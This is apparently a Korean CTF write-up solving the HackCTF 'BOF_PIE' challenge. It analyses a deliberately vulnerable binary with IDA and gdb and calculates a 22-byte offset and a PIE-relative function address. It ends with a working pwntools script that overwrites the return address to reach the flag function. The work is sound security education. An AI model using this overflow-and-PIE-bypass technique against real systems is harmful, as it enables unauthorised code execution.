Wargame/HackCTF

[HackCTF] BOF_PIE

핏디 2021. 7. 26. 00:27
SMALL

[문제]


[풀이]

문제 파일을 실행해보니 j0n9hyun 의 주소를 알려주고 종료가 되고 있다. 또한, 일정 값 이상 입력 시 버퍼 오버플로우가 발생하고 있다. 그런데, 주소 값이 계속해서 바뀌고 있으며 주소의 뒷자리 0x909는 고정되고 있었다.

 

이에 ida로 분석해보니 j0n9hyun 함수는 0x890이었지만, welcome 함수가 0x909인 것으로 보아 프로그램 실행 시 제공되는 주소는 welcome 함수의 주소인 것을 알 수 있다.

 

checksec으로 보호기법을 확인해보니 문제 이름 처럼 PIE 보호 기법으로 인해 주소 값이 랜덤으로 바뀌는 것을 알 수 있다.(ASLR과 유사) 

gdb를 통해 함수를 확인해보니 j0n9hyun, welcome, main함수에 집중하여 보면 될 것 같다.

 

main 함수를 확인하니 welcome 함수를 출력하는 것 이외에는 특별한 코드를 확인할 수 없었다.

 

welcome 함수와 j0n9hyun 함수는 gdb를 통해서는 큰 힌트를 얻을 수 없었다.

 

ida를 통해 확인하니 welcome 함수를 실행하면 프로그램 실행과 동일한 결과를 출력하는 것을 확인할 수 있었고, j0n9hyun 함수에서 flag를 출력하는 것을 알 수 있다.

 

이에 다수의 입력값 a를 입력하고 저장된 위치를 확인하니 0xffffd106에서부터 저장되는 것을 확인할 수 있었다. 프로그램 실행 시, 입력값을 20개 이상 입력하면 overflow 가 발생하였는데 해당 위치의 값을 확인해보니 main+22 코드 값이 담겨 있었다.

welcome 함수를 실행한 뒤 main 함수로 돌아가기 위한 ret 값임을 알 수 있으며, 이 값을 변조하면 exploit 할 수 있다.

 

따라서 입력 값과 ret 사이의 offset은 0x16(22) 임을 알 수 있다.

 

welcome 함수의 주소는 프로그램을 실행하여 획득할 수 있는데, j0n9hyun 함수의 주소를 구하기 위해서는 offset 값을 통해 구해야 한다. 두 함수는 각각 0x909, 0x890에 위치했으므로 offset이 0x79(121) 임을 알 수 있다.

 

이에 다음과 같은 exploit 알고리즘을 계획해볼 수 있다.

 

dummy(22) +  j0n9hyun 함수 주소

 

계획한 알고리즘대로 exploit 코드를 작성하면 다음과 같다.

  1 from pwn import *
  2 
  3 p = remote('ctf.j0n9hyun.xyz', 3008)
  4 
  5 p.recvuntil('j0n9hyun is ')
  6 
  7 welcome_add = int(p.recv(10), 16)
  8 
  9 j0n9hyun_add = welcome_add - 0x79
 10 
 11 payload = "A"*22 + p32(j0n9hyun_add)
 12 
 13 p.sendline(payload)
 14 p.interactive()

7: welcome의 주소를 내려 받아 welcome_add 변수에 저장한다.

9: j0n9hyun 함수의 주소는 welcome 함수와 0x79만큼 떨어져 있으므로 이를 계산해 j0n9hyun 변수에 저장한다.

11-13: dummy(22) +  j0n9hyun 함수 주소를 payload에 저장해 보낸다.

 

작성한 exploit 코드를 python으로 실행해보면 flag를 획득할 수 있다.

LIST

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] Poet  (0) 2021.08.22
[HackCTF] yes_or_no  (0) 2021.08.15
[HackCTF] Offset  (0) 2021.07.25
[HackCTF] Simple_Overflow_ver_2  (0) 2021.07.25
[HackCTF] x64 Simple_size_BOF 문제 풀이  (0) 2021.07.17